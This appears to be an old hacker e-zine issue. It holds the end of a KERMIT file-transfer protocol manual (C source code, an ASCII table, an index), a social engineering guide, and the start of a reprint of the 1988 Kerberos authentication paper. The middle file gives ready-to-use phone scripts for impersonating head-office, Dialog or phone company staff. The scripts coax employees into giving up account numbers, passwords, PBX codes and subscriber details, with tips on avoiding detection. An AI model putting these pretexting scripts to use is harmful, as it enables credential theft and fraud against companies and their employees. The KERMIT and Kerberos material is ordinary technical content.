*/ spar(packet); /* our Send-Init parameters */ spack('Y',num,6,packet); numtry = 0; /* Reset try counter */ return(state); /* Stay in this state */ } else return('A'); /* Not previous packet, "abort" */ A KERMIT Program Page 79 case 'Z': /* End-Of-File */ if (oldtry++ > MAXTRY) return('A'); if (num == ((n==0) ? 63:n-1)) /* Previous packet, mod 64? */ { /* Yes, ACK it again. */ spack('Y',num,0,0); numtry = 0; return(state); /* Stay in this state */ } else return('A'); /* Not previous packet, "abort" */ case 'F': /* File Header (just what we want) */ if (num != n) return('A'); /* The packet number must be right */ strcpy(filnam1, packet); /* Copy the file name */ if (filnamcnv) /* Convert upper case to lower */ for (filnam=filnam1; *filnam != '\0'; filnam++) if (*filnam >= 'A' && *filnam <= 'Z') *filnam |= 040; if ((fp=fopen(filnam1,"w"))==NULL) /* Try to open a new file */ { error("Cannot create %s",filnam1); /* Give up if can't */ return('A'); } else /* OK, give message */ printmsg("Receiving %s as %s",packet,filnam1); spack('Y',n,0,0); /* Acknowledge the file header */ oldtry = numtry; /* Reset try counters */ numtry = 0; /* ... */ n = (n+1)%64; /* Bump packet number, mod 64 */ return('D'); /* Switch to Data state */ case 'B': /* Break transmission (EOT) */ if (num != n) return ('A'); /* Need right packet number here */ spack('Y',n,0,0); /* Say OK */ return('C'); /* Go to complete state */ case 'E': /* Error packet received */ prerrpkt(recpkt); /* Print it out and */ return('A'); /* abort */ case FALSE: /* Didn't get packet */ spack('N',n,0,0); /* Return a NAK */ return(state); /* Keep trying */ default: return ('A'); /* Some other packet, "abort" */ } } A KERMIT Program Page 80 /* * r d a t a * * Receive Data */ char rdata() { int num, len; /* Packet number, length */ if (numtry++ > MAXTRY) return('A'); /* "abort" if too many tries */ switch(rpack(&len,&num,packet)) /* Get packet */ { case 'D': /* Got Data packet */ if (num != n) /* Right packet? */ { /* No */ if (oldtry++ > MAXTRY) return('A'); /* If too many tries, abort */ if (num == ((n==0) ? 63:n-1)) /* Else check packet number */ { /* Previous packet again? */ spack('Y',num,6,packet); /* Yes, re-ACK it */ numtry = 0; /* Reset try counter */ return(state); /* Don't write out data! */ } else return('A'); /* sorry, wrong number */ } /* Got data with right packet number */ bufemp(packet,len); /* Write the data to the file */ spack('Y',n,0,0); /* Acknowledge the packet */ oldtry = numtry; /* Reset the try counters */ numtry = 0; /* ... */ n = (n+1)%64; /* Bump packet number, mod 64 */ return('D'); /* Remain in data state */ case 'F': /* Got a File Header */ if (oldtry++ > MAXTRY) return('A'); /* If too many tries, "abort" */ if (num == ((n==0) ? 63:n-1)) /* Else check packet number */ { /* It was the previous one */ spack('Y',num,0,0); /* ACK it again */ numtry = 0; /* Reset try counter */ return(state); /* Stay in Data state */ } else return('A'); /* Not previous packet, "abort" */ case 'Z': /* End-Of-File */ if (num != n) return('A'); /* Must have right packet number */ spack('Y',n,0,0); /* OK, ACK it. */ fclose(fp); /* Close the file */ n = (n+1)%64; /* Bump packet number */ return('F'); /* Go back to Receive File state */ case 'E': /* Error packet received */ prerrpkt(recpkt); /* Print it out and */ return('A'); /* abort */ A KERMIT Program Page 81 case FALSE: /* Didn't get packet */ spack('N',n,0,0); /* Return a NAK */ return(state); /* Keep trying */ default: return('A'); /* Some other packet, "abort" */ } } /* * c o n n e c t * * Establish a virtual terminal connection with the remote host, over an * assigned tty line. */ connect() { int pid, /* Holds process id of child */ connected; /* Boolean connect flag */ char bel = '\07', c; struct sgttyb rawmode, /* Controlling tty raw mode */ cookedmode; /* Controlling tty cooked mode */ if (remote) /* Nothing to connect to in remote */ { /* mode, so just return */ printmsg("No line specified for connection."); return; } gtty(0,&cookedmode); /* Save current mode so we can */ gtty(0,&rawmode); /* restore it later */ rawmode.sg_flags |= (RAW|TANDEM); rawmode.sg_flags &= ~(ECHO|CRMOD); stty(0,&rawmode); /* Put tty in raw mode */ pid = fork(); /* Start fork to get typeout from remote host */ A KERMIT Program Page 82 if (pid) /* Parent: send type-in to remote host */ { printmsg("connected...\r"); connected = TRUE; /* Put us in "connect mode" */ while (connected) { read(0,&c,1); /* Get a character */ if ((c&0177) == escchr) /* Check for escape character */ { read(0,&c,1); if ((c&0177) == escchr) write(ttyfd,&c,1); else switch (c&0177) { case 'c': case 'C': connected = FALSE; write(0,"\r\n",2); break; case 'h': case 'H': write(0,"\r\nYes, I'm still here...\r\n",26); break; default: write(0,&bel,1); break; } } else { /* If not escape charater, */ write(ttyfd,&c,1); /* write it out */ c = NULL; /* Nullify it (why?) */ } } kill(pid,9); /* Done, kill the child */ wait(0); /* and bury him */ stty(0,&cookedmode); /* Restore tty mode */ printmsg("disconnected."); return; /* Done */ } else /* Child does the reading from the remote host */ { while(1) /* Do this forever */ { read(ttyfd,&c,1); write(1,&c,1); } } } A KERMIT Program Page 83 /* * KERMIT utilities. */ clkint() /* Timer interrupt handler */ { longjmp(env,TRUE); /* Tell rpack to give up */ } /* * s p a c k * * Send a Packet */ spack(type,num,len,data) char type, *data; int num, len; { int i; /* Character loop counter */ char chksum, buffer[100]; /* Checksum, packet buffer */ register char *bufp; /* Buffer pointer */ if (debug>1) /* Display outgoing packet */ { if (data != NULL) data[len] = '\0'; /* Null-terminate data to print it */ printf(" spack type: %c\n",type); printf(" num: %d\n",num); printf(" len: %d\n",len); if (data != NULL) printf(" data: \"%s\"\n",data); } bufp = buffer; /* Set up buffer pointer */ for (i=1; i<=pad; i++) write(ttyfd,&padchar,1); /* Issue any padding */ *bufp++ = SOH; /* Packet marker, ASCII 1 (SOH) */ *bufp++ = tochar(len+3); /* Send the character count */ chksum = tochar(len+3); /* Initialize the checksum */ *bufp++ = tochar(num); /* Packet number */ chksum += tochar(num); /* Update checksum */ *bufp++ = type; /* Packet type */ chksum += type; /* Update checksum */ A KERMIT Program Page 84 for (i=0; i> 6)+chksum)&077; /* Compute final checksum */ *bufp++ = tochar(chksum); /* Put it in the packet */ *bufp = eol; /* Extra-packet line terminator */ write(ttyfd, buffer,bufp-buffer+1); /* Send the packet */ } /* * r p a c k * * Read a Packet */ rpack(len,num,data) int *len, *num; /* Packet length, number */ char *data; /* Packet data */ { int i, done; /* Data character number, loop exit */ char t, /* Current input character */ type, /* Packet type */ cchksum, /* Our (computed) checksum */ rchksum; /* Checksum received from other host */ #if UCB4X /* TOPS-20 can't handle timeouts... */ if (setjmp(env)) return FALSE; /* Timed out, fail */ signal(SIGALRM,clkint); /* Setup the timeout */ if ((timint > MAXTIM) || (timint < MINTIM)) timint = MYTIME; alarm(timint); #endif /* UCB4X */ while (t != SOH) /* Wait for packet header */ { read(ttyfd,&t,1); t &= 0177; /* Handle parity */ } done = FALSE; /* Got SOH, init loop */ while (!done) /* Loop to get a packet */ { read(ttyfd,&t,1); /* Get character */ if (!image) t &= 0177; /* Handle parity */ if (t == SOH) continue; /* Resynchronize if SOH */ cchksum = t; /* Start the checksum */ *len = unchar(t)-3; /* Character count */ read(ttyfd,&t,1); /* Get character */ if (!image) t &= 0177; /* Handle parity */ if (t == SOH) continue; /* Resynchronize if SOH */ cchksum = cchksum + t; /* Update checksum */ *num = unchar(t); /* Packet number */ A KERMIT Program Page 85 read(ttyfd,&t,1); /* Get character */ if (!image) t &= 0177; /* Handle parity */ if (t == SOH) continue; /* Resynchronize if SOH */ cchksum = cchksum + t; /* Update checksum */ type = t; /* Packet type */ for (i=0; i<*len; i++) /* The data itself, if any */ { /* Loop for character count */ read(ttyfd,&t,1); /* Get character */ if (!image) t &= 0177; /* Handle parity */ if (t == SOH) continue; /* Resynch if SOH */ cchksum = cchksum + t; /* Update checksum */ data[i] = t; /* Put it in the data buffer */ } data[*len] = 0; /* Mark the end of the data */ read(ttyfd,&t,1); /* Get last character (checksum) */ rchksum = unchar(t); /* Convert to numeric */ read(ttyfd,&t,1); /* get EOL character and toss it */ if (!image) t &= 0177; /* Handle parity */ if (t == SOH) continue; /* Resynchronize if SOH */ done = TRUE; /* Got checksum, done */ } #if UCB4X alarm(0); /* Disable the timer interrupt */ #endif if (debug>1) /* Display incoming packet */ { if (data != NULL) data[*len] = '\0'; /* Null-terminate data to print it */ printf(" rpack type: %c\n",type); printf(" num: %d\n",*num); printf(" len: %d\n",*len); if (data != NULL) printf(" data: \"%s\"\n",data); } /* Fold in bits 7,8 to compute */ cchksum = (((cchksum&0300) >> 6)+cchksum)&077; /* final checksum */ if (cchksum != rchksum) return(FALSE); return(type); /* All OK, return packet type */ } /* * b u f i l l * * Get a bufferful of data from the file that's being sent. * Only control-quoting is done; 8-bit & repeat count prefixes are * not handled. */ A KERMIT Program Page 86 bufill(buffer) char buffer[]; /* Buffer */ { int i, /* Loop index */ t; /* Char read from file */ char t7; /* 7-bit version of above */ i = 0; /* Init data buffer pointer */ while((t = getc(fp)) != EOF) /* Get the next character */ { t7 = t & 0177; /* Get low order 7 bits */ if (t7 < SP || t7==DEL || t7==quote) /* Does this char require */ { /* special handling? */ if (t=='\n' && !image) { /* Do LF->CRLF mapping if !image */ buffer[i++] = quote; buffer[i++] = ctl('\r'); } buffer[i++] = quote; /* Quote the character */ if (t7 != quote) { t = ctl(t); /* and uncontrolify */ t7 = ctl(t7); } } if (image) buffer[i++] = t; /* Deposit the character itself */ else buffer[i++] = t7; if (i >= spsiz-8) return(i); /* Check length */ } if (i==0) return(EOF); /* Wind up here only on EOF */ return(i); /* Handle partial buffer */ } /* * b u f e m p * * Put data from an incoming packet into a file. */ bufemp(buffer,len) char buffer[]; /* Buffer */ int len; /* Length */ { int i; /* Counter */ char t; /* Character holder */ A KERMIT Program Page 87 for (i=0; i Right angle bracket 0 063 077 3F 6F ? Question mark 1 064 100 40 7C @ "At" sign The ASCII Character Set Page 93 Upper-case alphabetic characters (letters): .....ASCII.... EBCDIC Bit Dec Oct Hex Hex Char Remarks 0 065 101 41 C1 A 0 066 102 42 C2 B 1 067 103 43 C3 C 0 068 104 44 C4 D 1 069 105 45 C5 E 1 070 106 46 C6 F 0 071 107 47 C7 G 0 072 110 48 C8 H 1 073 111 49 C9 I 1 074 112 4A D1 J 0 075 113 4B D2 K 1 076 114 4C D3 L 0 077 115 4D D4 M 0 078 116 4E D5 N 1 079 117 4F D6 O 0 080 120 50 D7 P 1 081 121 51 D8 Q 1 082 122 52 D9 R 0 083 123 53 E2 S 1 084 124 54 E3 T 0 085 125 55 E4 U 0 086 126 56 E5 V 1 087 127 57 E6 W 1 088 130 58 E7 X 0 089 131 59 E8 Y 0 090 132 5A E9 Z More punctuation characters: .....ASCII.... EBCDIC Bit Dec Oct Hex Hex Char Remarks 1 091 133 5B AD [ Left square bracket 0 092 134 5C E0 \ Backslash 1 093 135 5D BD ] Right square bracket 1 094 136 5E 5F ? Circumflex, up arrow 0 095 137 5F 6D _ Underscore, left arrow 0 096 140 60 79 ` Accent grave The ASCII Character Set Page 94 Lower-case alphabetic characters (letters): .....ASCII.... EBCDIC Bit Dec Oct Hex Hex Char Remarks 1 097 141 61 81 a 1 098 142 62 82 b 0 099 143 63 83 c 1 100 144 64 84 d 0 101 145 65 85 e 0 102 146 66 86 f 1 103 147 67 87 g 1 104 150 68 88 h 0 105 151 69 89 i 0 106 152 6A 91 j 1 107 153 6B 92 k 0 108 154 6C 93 l 1 109 155 6D 94 m 1 110 156 6E 95 n 0 111 157 6F 96 o 1 112 160 70 97 p 0 113 161 71 98 q 0 114 162 72 99 r 1 115 163 73 A2 s 0 116 164 74 A3 t 1 117 165 75 A4 u 1 118 166 76 A5 v 0 119 167 77 A6 w 0 120 170 78 A7 x 1 121 171 79 A8 y 1 122 172 7A A9 z More punctuation characters: .....ASCII.... EBCDIC Bit Dec Oct Hex Hex Char Remarks 0 123 173 7B C0 { Left brace (curly bracket) 1 124 174 7C 4F | Vertical bar 0 125 175 7D D0 } Right brace (curly bracket) 0 126 176 7E 7E ~ Tilde Finally, one more nonprintable character: 0 127 177 7F 07 DEL Delete, rubout Index Page 95 Index 8th Bit 5, 27 NAK 7, 36 Normal Form for File Names ACK 7 ASCII 6, 10, 91 Packet 7, 20 Parity 22, 26, 91 Baud 8 Prefix 27, 30 Binary Files 9, 10 Prefixed Sequence 28 Binary Mode 8 Printable Files 10 Bit Positions 5 Program, Kermit 56, 65 Block Check 21, 22 Protocol 3 Bootstrap 59 BREAK 55 Raw Mode 8 Records 10 Capabilies 25 Remote 5, 8 CAPAS 25 Repeat Prefix 27 Char(x) 6 Reserved Fields 25 Checksum 21 Control Character 6 Send-Init 23 Control Characters 20, 91 Sequence Number 12 Control Fields 22 Sequential Files 3 Ctl(x) 6 Server 5 Server Command Wait 28 Data Encoding 22 Server Commands 32 DEFINE 53 Server Operation 28 Duplex 8 Short Reply 31 SOH 8 EBCDIC 8, 10, 91 Edit Number 58 Tab Expansion 10 Encoding 27, 30 Text Files 10 End-Of-Line (EOL) 8, 21 Timeout 7 Errors 14 Transaction 12 Transaction Log 16 Fatal Errors 14 TTY 5 File Names 15 Flow Control 8, 16 Unchar(x) 6 Full Duplex 8 User 5 GET Command 31 XON/XOFF 8, 16, 91 Half Duplex 8 Host 5 Initial Connection 23 KERMIT 3 Language, Programming 58 Line Terminator 21 Line Terminator (see End-Of-Line) Local 5 Logical Record 10 Logical Records 10 Long Reply 31 Table of Contents Page i Table of Contents 1. Introduction 3 1.1. Background 3 1.2. Overview 3 2. Definitions 5 2.1. General Terminology 5 2.2. Numbers 5 2.3. Character Set 6 2.4. Conversion Functions 6 2.5. Protocol Jargon 7 3. System Requirements 8 4. Printable Text versus Binary Data 10 4.1. Printable Text Files 10 4.2. Binary Files 10 5. File Transfer 12 5.1. Conditioning the Terminal 13 5.2. Timeouts, NAKs, and Retries 13 5.3. Errors 14 5.4. Heuristics 14 5.5. File Names 15 5.6. Robustness 16 5.7. Flow Control 16 5.8. Basic KERMIT Protocol State Table 17 6. Packet Format 20 6.1. Fields 20 6.2. Terminator 21 6.3. Other Interpacket Data 21 6.4. Encoding, Prefixing, Block Check 22 7. Initial Connection 23 8. Optional Features 27 8.1. 8th-Bit and Repeat Count Prefixing 27 8.2. Server Operation 28 8.2.1. Server Commands 29 8.2.2. Timing 30 8.2.3. The R Command 31 8.2.4. The K Command 31 8.2.5. Short and Long Replies 31 8.2.6. Additional Server Commands 32 8.2.7. Host Commands 34 8.2.8. Exchanging Parameters Before Server Commands 34 Table of Contents Page ii 8.3. Alternate Block Check Types 34 8.4. Interrupting a File Transfer 36 8.5. Transmitting File Attributes 37 8.6. Advanced KERMIT Protocol State Table 43 9. KERMIT Commands 48 9.1. Basic Commands 48 9.2. Program Management Commands 48 9.3. Terminal Emulation Commands 49 9.4. Special User-Mode Commands 49 9.5. Commands Whose Object Should Be Specified 49 9.6. The SET Command 51 9.7. Macros, the DEFINE Command 53 10. Terminal Emulation 54 11. Writing a KERMIT Program 56 11.1. Program Organization 56 11.2. Programming Language 58 11.3. Documentation 58 11.4. Bootstrapping 59 I. Packet Format and Types 60 II. List of Features 61 III. Unresolved Issues 63 IV. A KERMIT Program 65 V. The ASCII Character Set 91 Index 95 ============================================================================= / / / File 04 / NIA070 / / Social Engineering A Way of Life / / Written by - Malefactor [OC] / / / Disclaimer ------------ I take no responsibility for any of the information contained hearin neither expressed nor implied. I also assume no responsibility for the actions or interpretations of the end user neither expressed or implied. This file is for informational purposes only and is an exercise of my right to freedom of the press. Although a few people out there get turned on by a good book burning. Introduction -------------- What exactly is social engineering? Social engineering is basically the delicate art of deception and manipulation for your own personnel gain. Social engineering can be used in every aspect of life to avoid a "F" when you withdraw from some insidious class, to convice a friend to loan you money, or where we are concerned to convice a company that you are who you say you are, and to give you what you want or need. Through social engineering I have gained accounts, dialups, and information on various things. This file is meant to introduce you and familiarize you to social engineering, and where you take it from there is your own concern. Guidlines for Social Engineering ---------------------------------- 1] When you know little or nothing about a company you are trying to get accounts for never try to find out that information by asking local offices. This not only ruins future sites that you could of gained accounts from, but also may alert them as to your intentions. By calling out of state offices the worst thing that can happen is you can raise suspicions in the Akron, Ohio office and not your local Palm Springs,Ca. office. 2] Never hang up or panic. A few handy phrases are listed below A] "Ohh I'm sorry I just started last week and am new here" B] Or if they ask for a number where they can reach you say, "I'm sorry but I am calling from an OutWATS line and cannot recieve incoming calls" (although sometimes this does raise suspicions) C] If you have a loop say, "Sure you can reach me at NPA-PRE-SUFF" D] "Excuse me one moment let me get my supervisor" E] begin to answer there question and mid-sentance say, "Please hold I have another call" 3] Whenever possible do it in a team with a friend then in the event of a "fuck-up" your friend can proceed to be either your supervisor, enraged boss for your indiscretion, or the person who says, "Hello who are you holding for?, I will have him/her call you back I need this line" 4] Never give them your home address or phone number, give them a busy number, and a fake address. Unless you are getting manuals in that case you will need a loop line and a drop site, PO Box, etc.... 5] Always take control of the conversation the more confident you sound the more apt they are to believe you. Always keep talking don't give them the opportunity to get a word in edgewise and question you. If you stutter for a moment some people will question you. Be firm, but not rude or discourteous unless of course the situation calls for it. Gaining information about an unknown service or company --------------------------------------------------------- First off you will need to get a little information before you can start doing anything. There are many avenues you can take, and I will list but a few of the better ones. Method 1 -------- T=Target Company Y=You Call the company or information and get the number to the company. T=Hello Joe Blow's Aerospace. Y=Hello this is richard weiss and I was recently considering investing in your corporation, but would like to find out a little more about it. Can you tell me where to call? T=Ok, Mr. Weiss call 1-800-XXX-XXXX that is our stockholder information line. Y=Thank you, and have a nice day Now you may direct any questions about products, where their main office is located, whether or not thier computerized, whether or not they utilize the networks i.e. tymnet, telenet, etc..., quarterly reports (for what their worth), etc... Note:Another variation on this theme is to actually call and say you are a stockholder and would like information usually they will send you out pamplets and brochures on products and services they offer, but this could take weeks and is 9 times out of 10 totally useless. ---- Now you should know whether or not they have a system, where their main office is, and whether or not its accessible through telenet or tymnet (in some cases they are reluctant to give out this information.) Now you are almost ready to begin. ---- Call up a out of state office of your targeted corporation T=Hello Joe Blow's Aerospace? Y=Yes this is Edwin Meese from the Joe Blows Aerospace main office in super city I need to speak with your computer division (or if it is a small organization say I need to speak with your computer account operator) T=One moment please (or the number is XXX-XXXX) T=Hello this is john oberheim I operate the computer how many I help you? Y=Well sir as you may or may not know we are recently updating your account and I need to know which of our dialups you use to access the central system? T=Well we call TEL-ENET. (at this point you should be prepared if he gives you the local telenet or tymnet dialup to recognize it) Y=Ok yes sir, and after you connect to telenet which of our NUA's do you connect to? (At this point be prepared to explain what an NUA is and what a PSN is) T=We connect to 212440 Y=Ok thank you sir for your cooperation and have a nice day. T=No problem bye. ---- Now you are ready to begin getting accounts you should have a dialup via telenet or tymnet and an address, or an out-of-state dialup in which case you can call another office in that city and get an account and password. Hopefully by this point the first fool you called would of blurted out the name of the system if he did not it might be a good idea to call another office and find out what the system name is say something along the same lines except add in their local port or telenet address and NUA and when you get to the computer/system part say, "after you call xxx-xxxx and type 212440 you connect with uhhh I forgot the name of our system it's on the tip of my tongue I'm drawing a blank here etc..." at which point they blurt it out and you say "thats it ohh i cant believe I forgot I need to get more sleep" after this you can proceed to get this persons account and password using the below method ---- Method 2 -------- This is method is best when you know everthing, and can skip the first part. T=Hello Joe Blow's Aerospace may I help you? Y=Hello this is Ed McMan from Joe Blow's Aerospace main office in super city I need to speak with your X account operator. T=One moment please T=This is ed how may I help you? Y=Yes this is Ed McMan from Joe Blow's Aerospace main office in super city, and we are currently updating your account on X (system name) T=Uh huh? Y=Our records show you are using our xxx-xxxx dialup and using X (system name) at NUA 212440. T=Yes. Y=We need your account so we can update our records. T=Sure no problem its 12ASFD21. (This is where it gets tricky most people 9 out of 10 say yes unless you are calling new york where they are dicks don't even bother) Y=Ok and I also need your password. T=Ok it's "secret" (usually if it's user selected its pretty pathetic but most corporate systems dont allow user selected passwords anymore if he says no then you have to say, "I understand sir I will have my supervisor Bob Hope call you back whenever he is free" or you can say, "I understand can you call me back at 212-222-LOOP?" an added note here is if your calling from the main office supposedly in chicago DONT GIVE THEM A 212 LOOP) ---- Vica-Versa: A good ploy when employees are reluctant to give out passwords is to call the main office get connected w/the computer department and say you are having problems by now you should at least be able to give them a dialup an nua and an account, but no password. This they will provide for you say something to the effect that your new and everyone is out of the office etc... and that you lost the password to the account. Be real computer naive it works about 50% of the time depending on how convincing you sound. ---- Well that's the basics down now that you are aware of the basic principles behind social engineering I will cite a more prevalent example. ---- Social Engineering Dialog Accounts ---------------------------------- What is dialog? Well according to thomas jefferson Dialog is Power. Not really; just good for research and reports. If you want dialogs try Libraries, Engineers, and Large Research Companies. Here is what you say word for word. L=Library, Engineering Firm, Large Research Company. Y=You L=Hello this is X company how may I help you? Y=Yes this is Pia Zadora from dialog I need to speak with your dialog account operator? L=One moment please transferring your call.. L=Hello this is Charles Manson how may I help you? Y=Yes this is Pia Zadore from dialog recently as you may or may not know there was an earthquake in San Fransisco where all of our billing information is stored and your account information is outdated as we had to use tape backups from six months ago. (This is where it gets tricky a company called "AIMES" does a lot of dialogs billing in that case say you still need the information for your records) L=Ohh yes I heard it was awful. How can I help you? Y=Well I need to find out when you were last billed by us and on what account? (On Dialog bills the account number is used as a cover sheet on the bill) L=One moment please (or they might say their accountant isn't in or that it will take some time to dig up) (Option one if she's got it. Option two if she says it will take some time) Option 1 -------- T=Hello? Y=Yes. T=We were last billed August 13, on account 203247 and we were also billed August 13 on our other account 103452. Y=Thank you and what are the passwords on those two accounts? T=They are both "ursula" Y=Ok thank you very much have a nice day. Option 2 -------- L=Ok well I need this information now I have a lot of other calls to make whats your account and password and I will try to pull it up through the network? T=The account is 292910 and the password is "bubba" L=Ok hold on for one moment. L=I was unable to pull up the information. When do you think you will have the records and when would be a good time to call back I really need the last billing period? T=4 o'clock. (Ok so you call back and get the worthless information but they trust you more not every place you call will be easy if they are the least bit reluctant or untrusting lead them for ahwile talk and chat about the earthquake the weather or whatever turns em on. The reason you call back later is so that they don't call dialog with the last billing period trying to be helpful and killing your accounts) Social Engineering and the buisness office ------------------------------------------ Ok to find out information on a line listed or unlisted you can call the buisness office. Occassionally they won't give out information or they will want your local CNA or to actually call you back. Most of the time however they don't. The only ones that seem to be a bit fickle are 612 and 713 that I have encountered. It's just a matter of who you get. This works better than CNA and usually isn't as hard to get through to. B=Buisness Office Y=You ---- B=Hello this is the buisness office how may I help you? Y=Hello this is richard weiss of michigan bell I need a CNA Listing (or just a listing) on NPA-PRE-SUFF. B=Ok that number is billed to joe blow. Y=Ok and do you have an address on that? B=Yes its 1234 laurel lane. Y=And are there any other numbers billed to that account? B=Yes there is 123-456-6789 and 123-456-1234 Y=Thank you have a nice day. ---- Socially Engineering Mcdonalds Accounts --------------------------------------- This is the best one for you to practice your art on their are a multitude of Mcdonalds all across the nation and if they arn't a franchise they have a TI and ISP account on their mainframe accesible through telenet. A little background information their computer is at NUA 313160, and you enter your password then account. The passwords are in the format 1,XRRRRRR, and the accounts are usually MSNNNNNN. (The R's represent Randomn mixture of Letters and Numbers and the N's represent Numbers) M=Mcdonalds Y=You M=Hello this is Mcdonalds I am McChuck can I McHelp McYou? Y=Yes this is McGandi from the main McOffice in McChicago I need to speak with the McManager. M=This is the McManager McZsa Zsa Gabor how can I McHelp McYou? Y=We are currently updating your account are you the one who actually calls in and does the tandem reports? M=McYes that's me. Y=Allright so you call McTEL-NET (give em the number to telenet) and McConnect to McNUA 313160? M=McYes that's McRight. Y=Ok well I need your ISP Account and Password. M=Ok my account is 1,X23T2NN and my McAccount is MS629191. Y=Ok thank you and have a nice day. (A variation on this theme is to ask for the TI account and password another account type I have found they have with less priveleges than the ISP accounts. Unfortunatly the Mc's are all necessary it is a specialized McCode they use, and if you don't use it they McSpit in your McFace, and if you Mcbelieve that don't McTry McShit cause noone will McBelieve McYou. Seriously though the TI's are easier to get and more people than just the manager use them sometimes the managers make careers moves out of McDonalds (really brilliant individuals lemme tell ya) so they are fickle, so if the manager isn't in ask if they call in to the computer in the main office and then proceed to get their account.) ---- Variations on the themes ------------------------ 1] If you want manuals call up a location pretending to be someone else and say we are currently updating our manuals, and if you send us your manual you will recieve one for free blah blah blah. 2] If you need to find out commands or information on a system call up and say something to the effect I am calling from the main office and we are re-doing our system and taking a survey on it to see what changes to make which commands do you use the most often, and what commands do you feel are difficult to use and why? 3] Call up one office pretending to be from another and say your account is being updated or your computer system is down and you need theirs. This works excellently! ----------------------- 4] Call up large company buildings get transferred from about three departments until you are where you want to be and say, "Hello this is Tammy Fae Baker up in marketing on the third floor I need the code to the PBX, computer, or whatever you want. 5] Call up big department stores around christmas and get transferred a few times and when you get to a sales department say, "This is Joe in childrens clothes I need the tele-check number (or whatever credit check service they use)" If they give you any lip say look some kid tore off the sticker and I am going nuts down here. 6] Be creative and if you think you have something special figured out leave me mail I'd like to hear about it. Note: Unauthorized distribution or alteration of this file may result in severe credit damage. ============================================================================= / / / File 05 / NIA070 / / Kerberos Unix Manual / / Submitted by / / Doctor Dissector [PHA/P4] / / (doctord@darkside.com) / / / $_Disclaimer The author and the sponsor groups Phreakers/Hackers/Anarchists, The Phantastic Phor and NIA will not be held responsible for any actions done by anyone reading this material before, during, and after exposure to this document. This document has been released under the notion that the material presented herin is for informational purposes only, and that neither the author nor the groups P/H/A and P4 encourage the use of this information for any type of illegal purpose. Thank you. $_Greets & Messages To All Network Hackers: "Party On Dewdz!" Yo! To Kryptic Night, PhantasMumble, Pain Hertz, Doc Holiday, Black Death, Killer Korean, M.I.T., Anonymous Anarchist, Brownstone, Judge Dredd, Yellow Jacket, So76, Synaptic Assult, FuZaGi, HyperCube, OverDose, and ANYONE else I could have possibly forgotten.... $_Quote In response to all the needless bickering that has plagued the hacker community from the beginning; the eternal problem of the "elite" barrier between the most knowledgable and the learning. "Knowledge Is Power," BUT, "Absolute Power Corrupts Absolutely." $_Kerberos: USENIX.TXT Below is the file USENIX.TXT which was part of a larger archive, (kerberos.tar.Z) which was originally ftp'd from samba.acs.unc.edu. The current release patch is at 9, and more versions appear to be on the way. My suggestion to you, if you truely are interested in Kerberos, is to ftp the entire kerberos.tar.Z archive to your unix to pick it apart (uncompressed, the kerberos.tar file is over four megabytes long, so be forewarned). Enjoy. ----------------------------------------------------------- Kerberos: An Authentication Service for Open Network Systems Jennifer G. Steiner Project Athena Massachusetts Institute of Technology Cambridge, MA 02139 steiner@ATHENA.MIT.EDU Clifford Neuman Department of Computer Science, FR-35 University of Washington Seattle, WA 98195 bcn@CS.WASHINGTON.EDU Jeffrey I. Schiller Project Athena Massachusetts Institute of Technology Cambridge, MA 02139 jis@ATHENA.MIT.EDU ABSTRACT In an open network computing environment, a workstation cannot be trusted to identify its users correctly to network services. Kerberos provides an alternative approach whereby a trusted third-party authentication service is used to ver- ify users' identities. This paper gives an over- view of the Kerberos authentication model as implemented for MIT's Project Athena. It describes the protocols used by clients, servers, and Kerberos to achieve authentication. It also describes the management and replication of the database required. The views of Kerberos as seen by the user, programmer, and administrator are described. Finally, the role of Kerberos in the larger Athena picture is given, along with a list __________________________ Clifford Neuman was a member of the Project Athena staff during the design and initial implementation phase of Kerberos. March 30, 1988 - 2 - of applications that presently use Kerberos for user authentication. We describe the addition of Kerberos authentication to the Sun Network File System as a case study for integrating Kerberos with an existing application. Introduction This paper gives an overview of Kerberos, an authenti- cation system designed by Miller and Neuman[1] for open net- work computing environments, and describes our experience using it at MIT's Project Athena.[2] In the first section of the paper, we explain why a new authentication model is needed for open networks, and what its requirements are. The second section lists the components of the Kerberos software and describes how they interact in providing the authentication service. In Section 3, we describe the Ker- beros naming scheme. Section 4 presents the building blocks of Kerberos authentication - the ticket and the authenticator. This leads to a discussion of the two authentication protocols: the initial authentication of a user to Kerberos (analogous to logging in), and the protocol for mutual authentication of a potential consumer and a potential producer of a net- work service. Kerberos requires a database of information about its clients; Section 5 describes the database, its management, and the protocol for its modification. Section 6 describes the Kerberos interface to its users, applications program- mers, and administrators. In Section 7, we describe how the Project Athena Kerberos fits into the rest of the Athena environment. We also describe the interaction of different Kerberos authentication domains, or realms; in our case, the relation between the Project Athena Kerberos and the Ker- beros running at MIT's Laboratory for Computer Science. In Section 8, we mention open issues and problems as yet unsolved. The last section gives the current status of Kerberos at Project Athena. In the appendix, we describe in detail how Kerberos is applied to a network file service to authenticate users who wish to gain access to remote file systems. Conventions. Throughout this paper we use terms that may be ambiguous, new to the reader, or used differently elsewhere. Below we state our use of those terms. User, Client, Server. By user, we mean a human being who uses a program or service. A client also uses March 30, 1988 - 3 - something, but is not necessarily a person; it can be a pro- gram. Often network applications consist of two parts; one program which runs on one machine and requests a remote ser- vice, and another program which runs on the remote machine and performs that service. We call those the client side and server side of the application, respectively. Often, a client will contact a server on behalf of a user. Each entity that uses the Kerberos system, be it a user or a network server, is in one sense a client, since it uses the Kerberos service. So to distinguish Kerberos clients from clients of other services, we use the term principal to indicate such an entity. Note that a Kerberos principal can be either a user or a server. (We describe the naming of Kerberos principals in a later section.) Service vs. Server. We use service as an abstract specification of some actions to be performed. A process which performs those actions is called a server. At a given time, there may be several servers (usually running on dif- ferent machines) performing a given service. For example, at Athena there is one BSD UNIX rlogin server running on each of our timesharing machines. Key, Private Key, Password. Kerberos uses private key encryption. Each Kerberos principal is assigned a large number, its private key, known only to that principal and Kerberos. In the case of a user, the private key is the result of a one-way function applied to the user's password. We use key as shorthand for private key. Credentials. Unfortunately, this word has a special meaning for both the Sun Network File System and the Ker- beros system. We explicitly state whether we mean NFS credentials or Kerberos credentials, otherwise the term is used in the normal English language sense. Master and Slave. It is possible to run Kerberos authentication software on more than one machine. However, there is always only one definitive copy of the Kerberos database. The machine which houses this database is called the master machine, or just the master. Other machines may possess read-only copies of the Kerberos database, and these are called slaves. 1. Motivation In a non-networked personal computing environment, resources and information can be protected by physically securing the personal computer. In a timesharing computing environment, the operating system protects users from one another and controls resources. In order to determine what each user is able to read or modify, it is necessary for the timesharing system to identify each user. This is March 30, 1988 - 4 - accomplished when the user logs in. In a network of users requiring services from many separate computers, there are three approaches one can take to access control: One 